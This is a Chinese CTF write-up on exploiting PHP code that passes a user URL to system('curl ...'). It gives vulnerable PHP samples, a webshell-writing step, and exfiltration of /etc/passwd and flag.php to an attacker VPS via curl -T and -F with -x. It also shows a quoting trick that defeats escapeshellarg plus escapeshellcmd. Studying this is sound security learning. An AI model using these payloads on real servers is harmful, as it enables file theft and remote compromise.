绕过限制利用curl读取写入文件

本篇原创文章参加双倍稿费活动,预估稿费为600元,活动链接请点此处

 

说明

最近做了一道wonderkun师傅出的一道CTF的题目,学到了很多的姿势,包括PHP的函数用法以及curl的用法。一般都是利用curl来发送HTTP的请求,可是在实际的漏洞利用过程,curl却是一个非常好的利用工具。因为Linux系统中一般都会自带curl工具,其次是curl支持file协议,意味着我们能够读取本地文件。

所以在很多实际情况下,我们不得不使用curl,但是我们又要防止被攻击者利用读取我们系统本地的文件,那么我们一般都会加上校验代码,对于传入的curl的参数进行校验。但是很多时候由于开发者的安全意识不够,我们还是能够绕过校验读取敏感文件。

而本篇文章就是在CTF的题目上加上我自己的思考,用以说明curl的用法或者说是绕过不同类型的过滤代码。

 

curl写文件

如果有一段这样的代码,如下:

<?php
include 'flag.php' ; 
$url = $_GET['url'];

$urlInfo = parse_url($url);

if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){    
  die( "scheme error!");
}
system("curl ".$url);

首先需要明确的是curl是支持file协议的,可以通过file协议读取文件。其实curl还支持很多其他的协议,但在这里不是重点。

spoock@ubuntu:~$ curl file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
.....

但在这道题目中,对传入的url进行了检测,url的协议需要是http或者是https。那么是不是就没有办法了呢?在curl中存在一个-o的参数,表示-o/--output <file> 指定输出文件名称。那么问题就很简单了,直接curl读取远程文件,写入成为一个webshell。
读取文件:

在服务器上面写入了webshell。

 

curl 转发

如果在服务器上面禁止写入文件,那么上面通过写入webshell来读取文件的方式就行不通了。读取文件必须使用到file协议,但是又限制了$url的协议必须为http或者是https,那么我是否可以通过跳转的方式,将http跳转到file协议呢?
我在我的vps创建一个redirect.php文件,如下:

<?php
header("Location: file://///etc/passwd");
exit();

但是在默认情况下,curl并不会进行跳转,需要加上-L的参数。如下:

但即使是加上了-L的参数,curl也无法读取文件:

不知道为什么会出现这样的问题,正如之前所展示的curl file:///etc/passwd这种方式是可以读取文件,为什么跳转的时候却无法读取文件。希望有大佬可以指点一下。

所以通过跳转的方式卒!

 

curl PUT文件

条件同样是在服务器上面禁止写文件。

这种方式是在搜索的时候,看到了一个CTF的技巧。可以借助curl中的-T参数进行读取文件,-T localfile 向服务器PUT文件 例如:curl -T 1.mp3 www.jbxue.com/upload.php。通过curl -T将参数发送到vps上面。就可以利用curl的这个功能来将文件PUT上传给我们的主机,由于PUT method是HTTP的,所以主机需要支持web服务,然后带上端口。那么我们的利用方式可以变为:

curl -T flag.php vps:port

在vps上面进行监听。在本地进行测试:

在本地完美执行,但是问题是在服务器上面测试的,还是无法绕过对httphttps的检查。当带有端口时,parse_url无法识别。如下:


那么默认的就只有80端口了。这个问题也很好解决,在服务器上面的80端口,需要开启PUT方法,创建一个文件用于接受发送过来的文件即可。

<?php
$putData = fopen("php://input",r);
file_put_contents('passwd.txt',$putData);

以下就是演示:


在服务器顺利生成了passwd.txt文件。


进阶

上面仅仅只有一个检查httphttps协议的防护,对参数没有进行任何的过滤。如果是下面这种情况,使用escapeshellargescapeshellcmd进行了过滤呢?

<?php
include 'flag.php' ; 
$url = $_GET['url'];

$urlInfo = parse_url($url);

if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){    
  die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);

如果增加了escapeshellargescapeshellcmd的过滤呢。

  • escapeshellarg,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
  • escapeshellcmd,会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0AxFF, '"仅在不配对儿的时候被转义

以下就是使用的效果,如下:

在字符串增加了引号同时会进行转义,那么之前的payloadhttp://192.168.158.131/test/index.php?url=http://xxx.com -T /etc/passwd的方式就无法使用了,因为增加了'进行了转义,所以整个字符串会被当成参数。注意escapeshellcmd的问题是在于如果'"仅在不配对儿的时候被转义。那么如果我们多增加一个'就可以扰乱之前的转义了。如下:

但是这样并不会成功。在本地进行尝试的时候,显示结果如下:

spoock@ubuntu:/var/www/html/ctf$ curl 'http://192.168.158.131/ctf/index.php'\'' -T /etc/passwd'
curl: Can't open '/etc/passwd''!
curl: try 'curl --help' or 'curl --manual' for more information

无法识别文件/etc/passwd',那么只能使用其他的方法了。在curl中存在-F提交表单的方法,也可以提交文件。-F <key=value> 向服务器POST表单,例如:curl -F "web=@index.html;type=text/html" url.com。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:

http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

最终运行的结果是curl 'http://baidu.com/'\'' -F file=@/etc/passwd -x vps:9999',对于'http://baidu.com/'\''来说,由于\是转义的,后面的一对'直接可以忽略了,所以实际上执行的是curl 'http://baidu.com/'。代理-x vps:9999'后面的'对于代理也没有影响,因此最后就能够正常地执行了。

在vps上面监听9999端口,就可以顺利地收到服务器发送过来的/etc/passwd文件,但是这个问题是在于对于服务器上面的curl版本有要求,不是所有的版本的都能够执行成功。以下我进行的测试:
在7.47上面无法成功:


在7.38上面顺利执行:


在7.19上面也是可以顺利执行的。

根据猜测,可能在是新版本中,先会执行curl http的操作,但是由于在后面增加了,例如http://127.0.0.1,但是curl无法找到这样的文件,出现404。出现404之后,后面的提交文件的操作就不进行了,程序就退出了。这样在vps上面就无法接受到文件了。

 

总结

通过这个漏洞,还是学习到了很多关于curl的用法,以及escapeshellargescapeshellcmd造成的问题。关于header("Location: file://///etc/passwd");这种方式不成功,希望有大佬能够指点一下。

 

参考

PHP escapeshellarg()+escapeshellcmd() 之殇

(完)